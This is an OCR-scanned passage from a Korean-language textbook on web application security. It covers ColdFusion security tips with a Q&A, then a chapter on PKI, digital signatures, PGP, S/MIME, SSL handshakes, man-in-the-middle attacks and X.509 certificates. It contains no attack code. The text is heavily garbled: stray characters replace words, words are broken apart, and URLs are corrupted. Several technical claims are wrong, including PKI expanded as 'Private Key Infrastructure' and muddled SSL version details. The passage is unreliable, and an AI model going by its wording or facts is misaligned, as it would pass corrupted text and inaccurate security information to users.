- ColdFusion 은 Web 봉사기 로부터 요청 을 받아서 열 람기 에 로 전송할수 있는 문서 
를 되돌려 전송하는 응용프로그람봉사기 이 다. 

- ColdFusion 성 능을 높이 기 위 해 페 지 들을 고속완충기 억 에 보관한다. 

- ColdFusion 프로그람작성속도와 능력을 높이기 위해 태그에 기초한 언어를 사용 
한다. 


쇼 z 


2. ColdFusion 의 보안보장 


- 사람들이 호출하지 말아야 할 등록부에 대한 호출을 보안하시오. 리용할수 있는: 
ColdFusion 보안외 에 도 Web 봉사기 를 사용하시 오. 

- ColdFusion 은 기 대 상에 서 만 잘 보안된 다. 기 대 가 보안구멍 을 가지 고 있 다면 
ColdFusion (다른 응용프로그람들도)은 파괴될수 있다. 

- 당신의 기대가 안전한가를 확인하기 위해서는 스스로 여러 차례 공격해 보시오. 


쇼 z 



3. ColdFusion 응용프로그람처리 



- 자료의 타당성확인에는 세가지 준위가 있다. 우선 당신이 기대하는 자료가 존재하ᄉ^ I 身' 
는가를 검사하는것 이다. 둘째로 넘겨 질 자료의 형을 검사하는것이다. 셋째로 그_ 

것을 리용하기전에 프로그람을 모두 검토하는것이다. 이 세가지 형래의 자료의 타_ 

당성확인판정은 따로따로 진행되는것 이 아니다. 많은 경우들에 이 세가지 모두가_ 
자료의 타당성확인판정에 리용된다. 


4. ColdFusion 의 리용과 관련한 위험 

- 만일 체계의 기정문서들과 실례프로그람들을 그대로 가지고 있다면 공격자들에게 
호출할수 있는 기회를 제공해 주게 된다. 



- 사람들에게 체계에 대한 정보를 제공해 준다면 그들이 정보제공자를 공격할수^^ 
있 다. 
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- 응용프로그람이 접수하는 자료가 유효하지 않다면 공격 당할수 있다. 


5. 매 대화당 추적의 리용 



- CFAPPLICATIN 은 대화조종추적부분인 매 폐지에 대해 《 On 》 으로 되여야 한다. 

- 대화조종의 사용이 나 응용프로그람변수들 혹은 그들모두는 CFLOCK 내에 있어 야 
한다. 

- 대화조종과 응용프로그람변수들은 요구시간이 될 때 혹은 봉사주기가 끝날 때까 
지 존재해 야 한다. 


물음과 대답 



이 장의 물음에 대한 대답은 저자가 준것이다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생 활을 통하여 체험 하도록 하는데 
一/도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 곧자면 www . SynRress . 
^ com / solutions 의 (Ask the Anthor ) (저자에게 문의)을 찰칵하시오. 


물음: ColdFusion 에 대한 자료보안정보를 어데서 찾을수 있는가? 

대 답 : www . houseoffusion , com 에 서 보안문제 를 취 급한것 과 별 도로 Allaire 에 는 
특별히 설정된 자기 싸이트에 대한 부분 ( section ) 이 있다. 



물음: 그외의 보안정보들 특히 《 nonofficial 》 정보를 어데서 얻을수 있는가? 

대답: ColdFusion 세계에서는 여러 관리자 ( master ) 들이 상품들과 도구들이 있는 자 
기의 싸이트를 실현하고 있다. 대표적인것들은 다음과 같다. 


www . houseof fusion . com 

www . teamallaire . com 

www . forta . com 

물음: 자기 싸이트의 보안을 검사하는데 어떤 도구를 리용할수 있는가? 

대답: 있다. ColdFusion 에는 MunchkinLAN 이라는 도구가 있다(그것은 구멍을 찾 
는다. www . houseof fusion , com / hof/downloads 을 보시오.). 

또 한 www . wiretrip . net / rfp / p / doc . asp ? id =21& iface =2 에 서 whisker 라 는 
또 다른 도구를 쓸수도 있다. 
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제 11 장. 보안가능한 

응용프로그람개발 


이 장의 기본체계 

판 보안가능한 응용프로그람리용의 우점 

令 응용프로그람에서 리용되는 

보안류형 

단 PKI 의 기 초복습 

판 안전한 Web 응용 프로그람에로의 

PKI 의 리용 

관 Web 하부구조에서 PKI 의 실현 
산 보안실현의 시험 
여 결론 


이 요약 

물음과 대 답 



소 개 


응용프로그람들이 더욱더 World Wide Web 에 많이 리용될수록 보안과 관련한 빈 구 
석들이 많아 지고 있다. Web 응용프로그람들은 그 본질상 어느 정도 공개적인데 이로부터 
공격을 받을수 있는 위험성이 생긴다. 오늘 Web 싸이트들을 방문하는 기준은 어디에 가입 
하는가 하는것 이며 싸이트의 한 부분으로부터 다른 곳으로 항행 ( navigate ) 하기 위해서는 
통과암호가 요구된다. 이러한 요구는 보안된 내부망들과 인터네트사이에서 자료를 처리하 
고 있는 Web 응용프로그람에서 더 많이 제기된다. Web 응용프로그람의 기능이 무엇이든 
관계 없 이 Web 응용프로그람들은 암호화나 최 소한 수자서 명 을 하지 않고서 는 인터 네 트상에 
서 자료교환을 하지 말아야 한다. 보안은 국부망에 기초한 응용프로그람이 리용하는 동일 
한 인증, 접근조종，자리등록봉사들을 제공할수 있도륵 내부망-공공망경계 애까지 확장되여 
야 한다. 

이 장에서는 전반적체계범위에서와 코드측면에서의 보안을 모두 취급한다. 여기서 론 
의의 초점은 보안을 창조하는 방법이나 최소한의 보안에 대한 지식， Web 응용프로그람과 
Web 기반구조에 두기로 한다. 또한 인터네트와 같은 공공매체상에서 응용프로그람을 보안 
하는것이 왜 좋은가에 대해서도 론의한다. 오늘 Web 응용프로그람보안을 위해 가장 널리 
리 용되 는 방법 은 비 밀 열 쇠 기 반 (Private Key Infrastiucture ： PKI ) 이 다. PKI 에 대 하여 잘 
모르는 사람들은 그것이 어떻게 동작하는가를 배우게 된다. 또한 우리는 보안소케트층 
(Secure Sockets Layer : SSL ) 과 우편사무통신규약/간단한 전자우편전송규약 (Post Office 
Protocol/Simple Mail Transfer Protocol ： POP / SMTP ), 하이퍼본문전송규약 ( HTTP ) 과 
같은 서로 다른 규약들을 통한 통신들을 보안하는데 편리한 보안다목적인터네트전자우편 
확장 (Secure Mai 吐 purpose Internet Mail Extension : S / MIME ) 과 같은 다른 방법들도 검 
사해 본다. 

마지 막으로 우리 는 안전한 Web 와 전자우편응용프로그람들을 작성하는데 리 용되 는 
Phaos 의 기술보안개 발도구들 (Phoaos Technologies ’ security me 仕 iods ) 을 조사한다. 이 
장의 총체적 인 내용은 Web 응용프로그람들이 성과적으로 개발되자면 보안이 잘된 Web 응 
용프로그람이 여야 한다는것 이 다. 이것은 응용프로그람코드준위 에서만이 아니 라 Web 싸이 
트와 봉사기 준위 에도 맞는것 이 다. 해커들이 Web 싸이트를 못 쓰게 만들고 Web 응용프로 
그람을 해체해 버리는 새 로운 방법 이 계속 발전하기때 문에 개 발자들은 물론 Web 주인 
(Web master ) 들은 자기 체계의 보안에 더욱더 관심을 돌려야 할것이다. 


제 1 절. 보안가능한 응용프로그람리용의 우점 


이 책을 처음 읽으면서 누구나 다 왜 보안을 구축하여야 하는가가 명백하다고 말하겠 
지만 본질적인 원리를 다시 복습할 필요가 있다. 

• 숙련된 해커는 창조된 언어에 정통하면 임의의 응용프로그람의 약점을 알아 낼수 
있다. 실례로 Microsoft 의 사무처리응용프로그람들에 영향을 미치는 Melissa 비루 
스들이나 다른 비루스들을 보자. VBA (Visual Basic for Appoications ), VB 혹은 
VC ++ 에 대한 풍부한 지식을 가진 해커는 MS Office 가 실행되는 체계를 파괴시킬 
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수 있다 (Melissa 비루스에 의해 이미 론증된바와 같이). 여기에서 보안이 하여야 
할것은 최소한 전자우편을 개봉하려고 할 때 위험성이 있는 마크로들이 포함되여 
있다는것을 믿을만 한 사용자들에게 통지 하여 마크로들을 사용하지 않도록 함으 
로써 해커의 코드가 리용되지 못하도록 하는데 사용된다. 

• 단체안의 누구나 다 모든 정 보에 대 해 접 근할수 있게 하여 서 는 안된 다. 이 경 우 
에 보안은 자기가 가지고 있는 시에 의해 접근을 허용하겠는가를 확인할수 없으 
면 그 사용자에 대하여 호출을 허용하지 말아야 한다. 자료는 항상 기대할수 없는 
주목들로부터 보호되여야 하며 특히 인터네트를 통하여 들어 온 자료는 더욱 그 
러하다. 암호화하여 자료를 보안할수 있는 전자우편응용프로그람이 나 증명 서 
( certifiicate ) 를 리용한 응용프로그람들은 정보의 루실을 막기 위한 방법을 사용 
해야 한다. 인간자원 (Human Resource ) 부분에서 누구나 다 모든 정보를 호출할 
수 있는것이 아니며 또 모든 사람들이 호출하지 말아야 하는것도 아니다. 인트라 
네트에서 접근조종에 대해 PKI 규칙을 리용하면 그것을 볼수 있거 나 조작할수 있 
는 사람들만 호출할수 있게 한다. 

• 인증，권한부여，비거부의 수단들은 Web 와 개별망에서 응용프로그람들의 보안이 
통합된것 이 다. 보안방법 들이 구축된 응용프로그람들은 임의의 망우에서 업무를 
쉽고 안전하게 수행한다. 그외에도 응용프로그람들이 얼마나 쉽게 보안되는가를 
알면 전체 보안기반을 더 쉽게 구축할수 있다. 관리자와 개발자들이 자기의 체계 
의 기능이상으로 연구하면 대부분 형태의 보안위반들을 피할수 있다. 


제 2 절. 응용프로그람에서 리용되는 보안류형 


전자상업의 인기가 높아 지고 인터네트를 통해 많은 자료들이 전송될수록 응용프로그 
탐들의 보안은 필수적인것으로 되고 있다. 이 장에서는 자료전송에 대하여 많이 론의하며 
신용카드정보에 대하여서는 취급하지 않는다. 자료는 그보다 더 깊고 개별적인것이 있을 
수도 있다. 자료의 전송에 대 하여 론의 한다면 보험정보나 건강카드정보를 생각할수 있을 
것 이 다. 혹은 응당 보안되 여 전송되여 야 하는 자료의 전송에 대 하여 생각할수도 있다. 

이때 필요되는 보안준위에는 여러가지가 있으며 망준위보다 더 많은 보안이 필요하지 
만 이 장에서는 응용프로그람준위에서 필요되는 보안에 대하여 깊이 있게 학습한다. 여기 
서는 수자서명의 리용에 대하여 론의한다. 수자서명이란 무엇이고 언제 리용되는가? 또한 
PGP (Pretty Good Privacy ) 와전자우편에서 PGP 의 리용에 대하여 깊이 있게 학습한다. 
오늘 전자우편은 업무처리와 개인생활에서 매우 중요한 역할을 놀고 있다. 우리는 보안이 
전자우편에서 어떤 작용을 하며 얼마나 중요한가를 알아야 한다. 또한 이러한 방향에서 
S/MIME 에 대하여서와 이 도구를 리용하여 전자우편을 보안하는데서 PGP 와 다른 방법들 
을 취급한다. 두가지가 다 좋은 방법이고 개성적인 우점들이 있다. 이 책에서는 이 두방 
법들을 비교하여 설명 한다. 물론 우리 가 SSL 과 증명서 에 대 해 더 자세 하게 론의 하지 않는 
다면 그것은 응용프로그람보안의 부분에 있을수 없다. 

이 로부터 이 모든 보안도구들이 망관리 자준위 에 서 취 급되 여 야 하는것 들이 라고 생 각할 
수도 있지만 그것들은 매 단체가 얼마나 조직화되였는가와 개발자들과 망관리자들이 이러 
한 문제에 대한 리해정도에 관계된다. 지어 이러한 령역들이 현재의 단체내에서 할수 있 
는것이 아닐수도 있지만 이 도구들이 어떻게 작업하는가를 리해하자면 더 전문가가 되여 
야 한다. 
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1. 수자서명 

수자서명코드는 그 코드를 작성한 응용프로그람작성 자의 신분을 만들어 낸다. 수자 
서명은 수자적으로 서명될 때마다 서명자의 신분에 대한 증명을 포함한다. 실례로 수자 
서 명된 전자우편통보문은 전자우편통보문의 송신자가 실제 로 전자우편을 전송한 사람인 
가를 증명 한다. 또한 수자서 명들은 쏘프트웨 어제 작자의 신분이 나 문서 , 전자우편통보문 
혹은 쏘프트웨 어꾸레미에 대한 권한을 립증할수 있다. 수자서명은 흔히 수자증명서 안에 
포함된다. 수자서명은 문서가 암호화되 였거 나 되지 않아도 리용할수 있다. 수자서명의 
실제가치는 문서의 작성자를 정확히 식별하고 문서가 원래 형태와 조금이라도 변화되였 
는가를 검출해 내는데 있다. 수자서명은 문서가 전송된 정확한 순간도 기록할수 있는 시 
간확정도 할수 있다. 

수자서명이 어떻게 작업하는가를 간단히 설명하자. 통보문을 구성할 때 하쉬법이라 
고 부르는 문서에 대한 수학적계산이 진행된다. 통보문이나 문서에서 암호화를 리용하면 
하쉬는 암호화와 수자서명을 한다. 목적하는 통보문의 수신자가 그것을 받으면 수신된 
통보문의 하쉬법이 다시 계산된다. 통보문이 복호화되고 통보문속의 하쉬법과 새로 계산 
된 하쉬 법 이 비 교된다. 새로 계산된 값과 원래 계산된 값이 같다면 통보문의 유효한것 이 
고 꾸며 진것 이 아니 다. Microsoft Outlook 와 Lotus Notes 등 대부분의 모든 대 중적 인 
전자우편의뢰기들에서는 모두 수자서명을 지원한다. 그림 11-1 에 수자서명의 원리를 보 
여 주었다. 



그림 11-1. 통보문의 전송을 확인하는 수자서명 


수자서명들은 통보문이 수신자에게 안전하게 전송되였는가를 확인하는 방법이다. 다 
음절들에서 론의되는 PGP 와 S / IMIE 와 같은 많은 방법들은 이러한 업무를 수행하기 위 
해 하쉬알고리 듬대 신 암호화알고리 듬을 리용한다. 
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2. PGP (괜찮게 줄은 비밀) 

PGP 는 개별적으로나 어떤 단체들에서나 다같이 리용되는 전자우편보안을 위한 대 
단히 좋은 규격 이 다. 1991년에 필 리프 지머맨 (Phillip R . Zimmermann ) 이 PGP 를 개 발 
하였으며 그때부터 전자우편암호화방법에 가장 널리 리용되고 있다. PGP 는 전자우편을 
암호화, 복호화하는데 뿐만아니 라 송신자의 신분을 증명 하는 수자서 명의 전송, 전자우편과 
접속된 자료파일들을 암호화，복호화하는데 리용할수 있다. 이로부터 PGP 는 기회를 노 
러 는 해 커 들로부터 자료를 보안하기 위한 매 우 유익 한 도구이 다. PGP 는 망련합회 사 
(Network Associates incorporated ) 의 특 성 이 있 지 만 www . pgp . om / prodtiets / 
pgp / versions / freeware / win 32/7.0. 3 의 Web 상에서 내러적재하기 위한 공개쏘프트웨어 
판본이 리용될수 있다. 

PGP 는 보안해 야 할 전자우편의 보안을 담보하기 위하여 공개열쇠암호화의 변종을 
리 용한다. PGP 가능한 응용프로그람들은 소유자만이 호출할수 있는 비 공개열쇠 와 자유 
롭게 전자우편으로 배 포되는 공개열쇠 를 가진다. PGP 에 공개열쇠암호화를 쓴 새 로운 
방법은 단순히 수신자의 공개열쇠망을 리용할 대신 통보문의 내용을 암호화하기 위한 특 
별히 더 빠르고 더 짧은 암호화알고리듬을 리용하였다. PGP 는 통보문과 암호화된 고속 
열쇠를 수신자에게 전송하기전에 더 빠르고 더 짧은 암호화열쇠를 복호화하기 위하여 수 
신측의 공개열쇠 를 러 용한다. 그림 11-2 에 PGP 를 리 용하여 송신자로부터 수신자에 게 로 
우편을 전송하는 과정을 보여 주었다. 


더 빠르고 더 짧은 암호화 
열쇠는 를퓨터 묘의 공개 -i 
암호열쇠로 암호화된다 I 



콤퓨터 묘는 암호화된 더 
! 빠르고 더 짧은 암호열쇠를 
복호하기 위해 자기의 비밀 
s 열쇠를 리용한다. 



’암호 iM 과ᄌ商 K 암년 - 더 
빠르고 더 짧은 암호열쇠는 를퓨터 
B 의 수신자에게 전송된다. 


PGP 는 전자우편을 암호화 
하는데 더 빠르고 더 짧은 
암호열쇠를 리용한다. 



」더- <르고 더- 齒•은 <法호설 
P 쇠는전자우편통보문을 
' 복호화하는데 리용된^ ■ 


그림 11-2. PGP 암호화방법 

PGP 에 는 두가지 종류가 있 다. 즉 Rivest Shamir Adleman ( RSA ) 와 Diffe - 
Hellman 이 다. RSA 는 더 빠르고 더 짧은 암호화열 쇠 에 대 하여 국제 자료암호화알고러 
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듬 ( IDEA ) 을 리용하지 만 반면에 Diffie-Hellman 은 더 빠르고 더 짧은 열쇠 에 대 하여 
Carilisle Adams 와 Stafford Taveres ( CAST ) 의 암호화알고리 듬을 리 용한다. 

PGP 는 이 러 한 기 반 들 에 보 안 을 추 가 적 으 로 제 공 하 여 Microsoft 
Exchange / Outlook , Netscape Mail , Lotus Notes 와 같은 전자우편응용프로그람들에 
서 널리 리용된다. 그림 11-3 은 PGP 를 설치한 Outlook 우편의뢰기를 보여 준다. PGP 
공개암호열쇠 들은 PGP 공개열쇠 봉사라고 등록되는데 이것은 수신자들이 당신의 공개열 
쇠들을 복사하여 보관할수 있게 하기때문에 전자우편들을 보안하기 위한 믿음성을 더 높 
여 준다. 


그림 11-3. PGP 가 설치된 Outtook 우편의뢰기 


수신자서 명 을 전송하기 위하여 PGP 를 리용할 때 리 용된 PGP 의 판본들에 서 송신자 
의 신분을 알아 내기 위한 두가지 하쉬알고리듬이 존재한다. PGP 의 RSA 판본에서는 
Message Digest 5 ( MD 5) 알고 리 듬 이 리 용 되 지 만 Diffie-Hellman 판본 에 서 는 Secure 
Hashing Algori 仕 ml ( SHA - l ) 이 리용된다. 하쉬정보는 송신자의 비밀암호열쇠로 암호 
화된다. 수신자는 하쉬코드를 복호하는데 송신자의 공개열쇠를 쓰며 그것이 맞는가를 수 
자서명용의 하쉬코드와 복호화된 하쉬코드와 비교한다. 코드가 맞으면 통보문이 보안되 
여 전송되였다는것이 증명된다. 

PGP 를 러용하기 위한 더 중요한 내용들이 두가지 더 있다. 우선 첫번째 로 다른 응 
용프로그람들을 보안하기 위해 습관적으로 쓰는 대표적 인 경계조건들에 의해 그의 리용 
이 계한되지 않는것이다. PGP 는 미국에서 리용되는것과 동일한 보안준위에서도 세계의 
그 어디에서나 러용할수 있다. 

둘째 로 PGP 에 는 뒤 문 ( backdoor ) 들이 없 다. 2000년 8월 24일 에 새 로운 오유들이 
PGP 판본 5. 5에서 발견되였지만 판본 6.5. 8의 PGP 원천코드들은 모두 공개적으로 검토 
되 고 뒤 문이 제 거 되 였 다고 알려 졌 다. 권한이 없는 추가적 인 복호열쇠 (Additional 
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Decryption Keys ： ADKs ) 의 리용과 관련한 PGP 암호화자료에 포함된 오유는 망조직들 
에 의 하여 시 급히 복구된다. 이 오유들에 대 한 자세 한 정 보는 www . pgp . com / 
other / advisories / adk . asp 와 www . Cert , org / advisories / CA -2000-18. html , www . 
Prp . com / other / advisorires / phil - message . asp , h 竹 p :// Senerek . de / sequrity /444 key - 
experiments.html 에 서 찾을수 있 다. Zimmermann 가 2001 년 8월 21 일 작별 연설 
(Farewell address ) 에서 발표한 선언문에서는 언급되지 않았지 만 가장 최후의 판본인 
PGP 7.8.3 은 뒤문이 제거되였다(드물게는 제품이나 이미전에 사용자들을 위하여 인터네 
트와 갈은 보편화된 매체상에서 전문가의 평판을 위험하게 하는것을 즐기는 사람이 있다. 
그의 작별서 한은 www . pgpioorg / news/t 松0010219 에 서 찾아 볼수 있 다) . 물론 PGP 는 
통보문을 보안하기 위 한 만능의 수단은 아니 다. 사실상 OpenPGP 협회 ( community ) 는 
Network Associates 에서 PGP 를 쓰는데 대 하여 불쾌 하게 생각하고 있다. 그들은 PGP 
가 OpenPGP 이 제 공하는 유연성 과 견고성 ( robustaess ) 을 계 공해 주지 않는다고 주장한 
다. 전자우편을 보안하기 위한 다른 방법으로는 S/MIME 라는것이 있는데 이것을 보면 
왜 PGP 가 널리 보급되지 않는가 하는 또 다른 원인을 알수 있다. 

3. 다목적인51네트전자우편확장보안 

다목적 인 터 네 트전자우편 확장보안 (Secure Multipurpose Internet Mail Extension ： 
S / MIME ) 은 통보문을 보안하기 위해 Netscape 와 Microsoft Web 열 람기 에 장비되 여 
PGP 대신 리용된다. 여러 판매회사들은 PGP 보다 S / MIME 를 더 우월한것으로 평가하고 
있으므로 S / MIME 가 널리 보급되고 있다. S / MIME 는 RSA 암호화와 인증알고리듬을 리 
용하며 RSA Inc 에 의하여 IETF 에 대 한 규격 으로 제정되 였다. S / MIME 규격은 통보문 
을 암호화하는 방법 을 서 술하고 있으며 공개 열쇠 암호화체 계 번호 7 (Public Key 
Clyptography System number 7: PKCS -7) 을 리 용하여 수자서 명 을 포함한다. 

S / MIME 는 주로 전자우편통보문을 간단히 서명하는데 리용되여 전자우편접수프로그 
탐과 실제접수자가 통보문의 선두에 있는 전자우편이름이 송신자에 의해 전송된것이 옳 
은가를 확인하게 한다. 통보문이 어떤 방법으로 변경되였다면 S / MIME 가 통보문에 수표 
한 수자서명이 변화되기때문에 수신자는 그것을 믿지 않는다. 이렇게 되면 popup 통형 
태 로 수신자에 게 경 보가 발생하게 된 다. 

4. 소케트층의 보안 

소케트층의 보안 (Secure Socket Layer : SSL ) 은 Web 열람기를 통해 전송되는 정 
보를 보안하기 위 한 Netscape 통신회 사의 보안방법 이 다. SSL 은 같은 목적 에 리 용되 지 
만 하이 퍼 본문전송규약보안 (Secure Hypertext Transfer Protocol : S / HTTP ) 과 혼 
돈하지 말아야 한다.자료를 전송할 때 두가지 보안응용프로그람들은 둘 다 《 https 》 
지정을 리용한다. SSL 의 현재판본은 3.0 이며 대부분의 Web 열람기에서는 SSL 2.0 을 
리용하고 있 다. 

SSL 이나 체계대 체계 인증, 자료암호화를 적용하지 않는 다른 방법들에서는 자료를 
입력한 그대로 본문으로 전송한다. 이 자료는 사회적 인 보안번호들과 신용카트번호와 같 
은 신용정보나 전자우편，문서의 파일전송의 형태를 취한다. 이 자료는 인터네트와 갈은 
공공령역 과 지 어 개 별 망들에 서 도 쉽 게 가로챌 수 있고 복사될수 있 다. 그러 므로 자료의 
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수신자와 송신자의 개인비밀이 드러나게 된다. 우리는 모두 정보의 개인비밀이 얼마나 
중요한가를 알고 있다. 회사들은 파산을 겪게 될것이다. 개별적사람들은 생계를 잃을수 
있고 해커들이 그들의 정보를 포착하고 은행등록자리 ( account ) 를 호출하거 나 특성을 파 
피 하는 새 로운 기 술을 리 용하면 생 명 보험 도 빼앗길수 있 다. 신용카드를 SSL 이 나 다른 
강한 보안방법들을 리용하지 않은 싸이트에서 리용하여 Web 를 통해 그 무엇인가를 얻 
을수 있게 하였다면 해커가 신용카드정보를 훔칠수 있도록 자기자신을 공개하는것이다. 
다행히도 요즘은 대체로 그러한 방법을 쓰지 않으며 전자상업 Web 싸이트들은 업무를 진 
행할 때 SSL 이나 자료를 암호화하기 위한 다른 강한 보안 형태들을 리용하여 주문자와 
판매자사이의 파케트를 포착하고 도난을 막고 있다. 

SSL 은 TCP/IP 모형의 방어 부분© epartment of Defense : DoD ) 인 망층과 응용층 
사이 에 서 작업한다. TCP/IP 에 서 동작하는 SSL 은 콤퓨터 들이 창조된 규약을 리 용할수 
있게 하며 암호화된 접속상에서 자료를 안전하게 전송할수 있게 한다. SSL 은 SSL 기록 
규약과 SSL 맞잡이 ( handshake ) 규약의 두가지 규약들로 구성된다. 이러한 규약들은 업 
무에서 리용되는 자료의 형식에 대한 정의와 리용된 암호화와 인증의 준위를 규정하는데 
편 리하다. SSL 은 가장 일 반적 인 RSA 열 쇠교환알고리 듬， Fortezza 알고리 듬 등과 같은 
넓은 범위의 암호화알고리듬을 지원한다. SSL 2.0 에서는 Fortezza 알고리듬을 지원하지 
않는다. 뒤로의 호환성 이 없으므로 그의 인기가 좀 떨어 진다. 

SSL 맞잡이 는 의 뢰 기 와 봉사기 사이 의 접 속을 설 정 하는데 공개 열쇠 와 대 칭 열 쇠 암호화 
두가지를 다 리용한다. 봉사기는 PKCS 를 리용하여 의뢰기 에 대 해 자체 로 인증한다(그 
리 고 의뢰기 도 선택 적 으로 봉사기 를 자체 로 인증한다) . 그다음 의뢰기 와 봉사기는 함께 
대 칭열쇠를 창조하는데 이것 은 자료를 더 빨리 암호화，복호화하여 보안접속내 에서 자료 
가 불법으로 변경되는것을 보호하는데 리용된다. 이 단계를 그림 11-4 에 보여 주었다. 
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1) 봉사기의 인증 

의뢰기 와 봉사기 의 인증과 관련한 구체적 인 내 용들은 그림 11-5 에 보여 준것 처 럼 기 
본적 으로 4개의 단계 로 구성된다. 



그림 11-5. SSL 대화조종의 확립을 위한 봉사기 인증 


ᄆ최퇴기는 봉사기가 부탁한 증명서의 날자를 검사하여 현재의 날자와 시간이 
증명 서 의 유효기 간내 에 있는가를 결 정한다. 

_) 의뢰기는 봉사기의 증명서 가 의뢰기 가 접수하는 CA 들중의 하나인가를 알아 
내 기 위 하여 신용하는 증명 서 발급기 관 (Certificate Au 比 iorities : CAs ) 의 목록 
들을 검사한다. 

、得) 의 뢰 기 는 자기 의 CA 목록에 서 해 당 CA 증명 서 의 공개 열 쇠 를 리 용하여 봉사기 
의 증명서를 유효화하려고 한다. 

# 의뢰기는 봉사기의 실제령역이름과 봉사기증명서에 있는 령역이름이 정합되는 
가를 보기 위하여 봉사기증명서의 령 역이름을 검사한다. 

2) 의뢰기인증 

봉사기는 이러한 과정이 처리된 다음 대화조종을 시작한 의뢰기와 통신을 하고 있다 
는것을 증명하기 위하여 의뢰기인증을 요구할수 있다. 의뢰기인증에 대한 단계를 간단히 
설 명하며 그 과정 을 그림 11-6 에 보여 주었 다. 

'勢 봉사기 는 사용자의 증명서 에서 공개열쇠 가 유효한가를 알아 내 기 위 하여 사용 
자의 수자서명을 검사한다. 

@ 봉사기는 현재의 날자와 시간이 증명서에 있는 유효기간내에 있는가를 알아 
내 기 위하여 사용자의 증명 서 를 검 사한다. 
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M 봉사기는 사용자의 증명서를 발행한 ◦쇼가 신용할수 있는 ◦쇼인가를 알아 내 
기 위하여 자기 의 신용 CA 목록을 검 사한다. 

_ 봉사기 는 걸음 ③에 서 의 ◦쇼가 사용자의 수자서 명 을 유효하게 하는 공개열쇠를 
가진 증명 서인가를 알아 내 기 위하여 자기 가 가지 고 있는 신용 ◦쇼들의 목록 
을 검사한다. 

® 봉사기 는 사용자의 한개 기 록 ( record ) 에 대 하여 Lightweight Directory 
Access Protocol ( LDAP ) 봉사기를 선택적으로 검사할수 있다. 대부분의 중요 
증명서관리체계 판매 자들은 이 기능을 제공한다. 

⑥ 봉사기는 요구되는 자원에 대 한 의뢰 기의 호출권한을 검사하고 증명한다. 



그림 11-6. SSL 대화조종의 확립을 위한 의뢰기인증 


이 러한 형 태의 보안방식들은 위장 ( impersonation ) 공격들이 나 bucket brigade 혹은 
man - in - 仕 ie - middle 공격으로 알려 진 공격을 막을수 있게 설계되여 있다. 이러한 공격 
들은 기본적으로 두 부분사이의 합법적 인 자료전송대화조종이 진행되는 동안 신용하는 
의뢰기나 봉사기로 위장하여 보안정보를 가로채거나 훔치는 해커의 공격이다. 

어떤 나라에서는 SSL 을 실행하도록 규정하고 수출법들에 의하여 지방과 외국체계들 
에 제 공되 는 보안준위 를 결정한다. RSA 알고리 듬을 리 용한 SSL 2.0 과 3.0 은 모두 3중자 
료암호규칙 (Triple Data Encryption standard :3 DES ) 과 168 bit 암호화 실행 이 라는 강 
한 암호화를 제 공하고 있 다. 인증을 위 한 SHA -1 하쉬알고리 듬과 함께 3 DES 에 서 는 미 국 
내에서 리용이 허용된 강한 자료보안준위를 가지고 있다. 가장 낮은 준위의 보안은 다른 
나라들에 수출하기 위하여 리용된다. 이전에는 이러한 수출법들이 미국이 아닌 곳에서 
가장 높은 암호화준위 를 리 용할수 있게 하는 Global Server ID 를 구입 하지 않으면 다른 
나라들에 사무소가 있는 회사들의 보안준위가 떨어 지도록 제한되여 있었다. 최근에는 
이러한 법들이 좀 늦추어 져 세계적규모에서 168 bit 암호화를 실제로 리용할수 있도록 하 
고 있다. 
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중간자 ( man - in -1; he - middle ) 에 의한 공격 


《중간자 ( man - irH ; he - middle ) 》이 나 《bucket brigade 》 공격은 해커 가 공개 
열쇠 로 교환되 는 자료를 가로채 여 자기 가 목적하는것 을 실현하기 위 해 대 리 공개열 
쇠를 리용하여 그것을 재전송하는것이다. 이것이 발생하면 원래의 의뢰기와 봉사기 
들은 서로 통신이 계속 진행되는것처럼 보이게 된다. 공격자는 의뢰기에 대한 봉사 
기가 있고 봉사기에 대한 의뢰기가 있는것처럼 보이는 프로그람들을 리용한다. 공 
격 자는 전송되는 자료를 단순히 읽 어 보기만 하거 나 그것들을 수정 하여 재전송할수 
있 다. 《 중간자》이 라는 말은 여 러 사람들이 톨을 직 접 호상 던지 기할 때 그들사이 
에 서 다른 사람이 그것 을 잡으러 고 시 도하는 구기경 기 에 서 부터 유래되 였 다. 
《bucket brigade ) 라는 말은 사람들이 물바께쯔를 이 어 받으면서 불을 끄려고 하 
는 오랜 방법 으로부터 유래되였다. 그림 11-7 은 중간자에 의한 공격의 전형적 인 방 
법을 보여 주었다. 



그림 11-7 전형적 인 중간자에 의 한 공격 


SSL 은 의뢰기와 봉사기인증을 취급한 절들에서 언급된 모든 규칙을 두개의 합법 
적 인 봉사기 와 의뢰 기 만이 지 킬수 있기때 문에 중간자에 의한 공격의 영 향을 막을수 
있게 한다. 해커는 두 정당한 주콤퓨터들사이의 모든 특징에 대한 역을 하는 방법이 
없다. 의뢰기나 봉사기가 요구하는 질문중의 최소한 한개라도 정확히 응답하지 않는 
다면 두 주콤퓨터들사이의 접속은 끊어 지게 된다. 그림 11-8 에 두개의 SSL 가능한 
주콤퓨터들이 《중간자에 의한 덫》을 물리치는 과정을 보여 주었다. 
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5. 수자증명서 

수자증명서 (digital certificate ) 는 Web 응용프로그람들과의 접속을 인증하는 보안을 
구축하기 위한 중간의 선택으로 볼수 있다. 자기가 소유하고 있는 증명서에는 체계의 공 
개 암호열쇠가 있다. 한 콤퓨터가 다른 콤퓨터 에 증명서를 발행 할 때 대체로 반박할수 없 
는 자기의 신분과 보증을 제공한다. 증명서들은 PKI 체계에서 콤퓨터의 식별자의 수자적 
표현 이 다. 

증명서들은 봉사기들, 개별적 사람들, 회사들이 이러한것들을 전자적으로 식별 할수 
있게 한다. 증명서에 대하여 엄밀히 따지면 증명서소유자의 호출에 대하여 어떤 봉사가 
제공되는가에 관계없이 그것들은 같다. 오늘 리용되는 대부분의 증명서들은 x .509 v 3 의 
명세서에 따르는것이다. x .509 v 3 증명서는 그림 11-9 와 11-10 에서 보여 주는바와 같이 
다섯가지 기본구성요소들로 이루어 진다. 

• 공개열쇠 혹은 비공개열쇠값 

• 증명서의 목적 

• 발행한 증명 서발급기 관 ( CA ) 에 대 한 신분 

• 증명서의 유효기간 

• 증명서를 가진 사람의 이름과 수자서명 

이 모든 정 보들은 증명 서 를 믿 을수 있게 하며 PKI 기 술에 서 의 다목적 도구들이다. 
증명서들은 자료를 보안하게 하는 가장 단순한 방법 이 다. 사람들은 직결은행체 계 에서 
Web 상의 고객정보를 보호하는데 증명서들이 가장 보편적으로 리용하는것을 보고 증명 
서가 좋다는것을 알게 되였다. 
